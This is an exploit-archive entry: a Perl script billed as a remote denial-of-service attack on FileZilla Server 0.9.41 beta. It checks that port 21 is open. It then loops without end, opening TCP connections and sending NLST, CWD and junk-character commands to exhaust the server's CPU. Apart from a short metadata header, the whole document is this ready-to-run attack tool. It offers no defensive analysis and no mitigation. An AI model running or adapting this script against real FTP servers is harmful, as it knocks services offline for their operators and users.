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# Exploit Title:FileZilla Server version 0.9.41 beta Remote DOS (CPU exhaustion)
# Date: July 10, 2012
# Author: coolkaveh
# coolkaveh@rocketmail.com
# https://twitter.com/coolkaveh
# Vendor Homepage: http://filezilla-project.org/
# Version: 0.9.41
# Tested on: windows XP SP3
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy FileZilla Server (CPU exhaustion)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
$|=1;
sub usage {
print "Crappy FTP Server Remote Denial Of Service\n";
print "by coolkaveh\n";
print "coolkaveh@rocketmail.com\n";
print "usage: perl Crappyftp.pl <host> \n";
}
$host=shift;
$port=shift || "21";
if(!defined($host)){
print "Crappy FTP Server Remote Denial Of Service\n";
print "by coolkaveh\n";
print "coolkaveh@rocketmail.com\n";
print "usage: perl Crappyftp.pl <host> \n";
exit(0);
}
$check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
if(defined $check_first){
print "$host -> $port is alive.\n";
$check_first->close;
}
else{
die("$host -> $port is closed!\n");
}
@command=(
'NLST','CWD','%$^&*()_+!@');
print "Dosing Server!\n";
while (1) {
COMMAND_LIST: foreach $cmd (@command){
LABEL5: $sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30);
if(defined($sock1)){
$sock1->send("$cmd"." "."$poc\r\n", 0);
}
}
}
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